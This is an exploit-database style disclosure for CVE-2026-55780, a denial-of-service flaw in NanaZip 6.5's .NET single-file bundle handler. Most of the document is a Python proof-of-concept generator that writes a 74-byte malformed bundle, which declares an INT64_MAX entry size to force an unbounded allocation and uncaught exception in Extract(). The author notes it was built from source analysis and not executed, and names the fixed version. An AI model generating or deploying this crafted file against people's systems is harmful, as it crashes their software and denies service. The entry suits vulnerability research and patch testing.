NanaZip 6.5 Denial of Service

# Exploit Title: NanaZip 6.5  -  DoS
    
    # Date: 2026-07-17
    
    # Exploit Author: Pig-Tail (Jorge González Milla)
    
    # Vendor Homepage: https://github.com/M2Team/NanaZip 
    
    # Software Link: https://github.com/M2Team/NanaZip/releases 
    
    # Version: NanaZip <= 6.5 Preview (6.5.1742.0) (fixed 6.5.1749.0)
    
    # Tested on: Windows
    
    # CVE: CVE-2026-55780
    
    # Category: dos
    
    # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-55780-NanaZip 
    
    
    
    A crafted .NET single-file bundle triggers an uncaught exception / unbounded allocation in the DotNetSingleFile handler's Extract().
    
    
    
    NOTE: This PoC input was constructed by static analysis of the NanaZip.Codecs parser source
    
    (NanaZip is Windows-only); it reaches the exact vulnerable line documented in the advisory but
    
    was not executed against a running build. Benign — it only generates the malformed carrier file.
    
    
    
    --- PoC generator (GHSA-ppm9-5267-rq72.py) ---
    
    #!/usr/bin/env python3
    
    # PoC generator: uncaught exception / unbounded allocation in NanaZip's .NET
    
    # single-file Extract() (GHSA-ppm9-5267-rq72).
    
    #
    
    # A 74-byte bundle: 'MZ' stub, the 32-byte .NET bundle signature at offset 10
    
    # preceded by an int64 bundle-header offset at offset 2, then a v1 header
    
    # declaring one embedded file with Size = INT64_MAX. Extracting that entry makes
    
    # DotNetSingleFile::Extract run std::vector(Size) with no try/catch
    
    # (NanaZip.Codecs.Archive.DotNetSingleFile.cpp:804); the allocation throws across
    
    # the COM boundary. (It also triggers the GetStream(Indices[i]) NULL-deref.)
    
    import struct
    
    
    
    SIG = bytes([
    
        0x8b, 0x12, 0x02, 0xb9, 0x6a, 0x61, 0x20, 0x38,
    
        0x72, 0x7b, 0x93, 0x02, 0x14, 0xd7, 0xa0, 0x32,
    
        0x13, 0xf5, 0xb9, 0xe6, 0xef, 0xae, 0x33, 0x18,
    
        0xee, 0x3b, 0x2d, 0xce, 0x24, 0xb3, 0x6a, 0xae,
    
    ])
    
    HDR = 42  # bundle header offset
    
    
    
    buf = bytearray(74)
    
    buf[0:2]   = b"MZ"
    
    buf[2:10]  = struct.pack("<q", HDR)   # int64 header offset (read at sig-8)
    
    buf[10:42] = SIG                       # signature at i = 10
    
    
    
    o = HDR
    
    struct.pack_into("<I", buf, o, 1); o += 4                    # MajorVersion = 1 (<2)
    
    struct.pack_into("<I", buf, o, 0); o += 4                    # MinorVersion = 0
    
    struct.pack_into("<i", buf, o, 1); o += 4                    # NumberOfEmbeddedFiles = 1
    
    buf[o] = 0; o += 1                                           # BundleIdLength = 0
    
    struct.pack_into("<q", buf, o, HDR);                o += 8   # Entry.Offset (>0)
    
    struct.pack_into("<q", buf, o, 0x7FFFFFFFFFFFFFFF); o += 8   # Entry.Size = INT64_MAX
    
    buf[o] = 0;        o += 1                                    # Entry.Type = 0
    
    buf[o] = 0x01;     o += 1                                    # RelativePathLength = 1
    
    buf[o] = ord("a"); o += 1                                    # RelativePath = "a"
    
    
    
    with open("poc.bundle", "wb") as f:
    
        f.write(buf)
    
    print(len(buf), "bytes ->", "poc.bundle")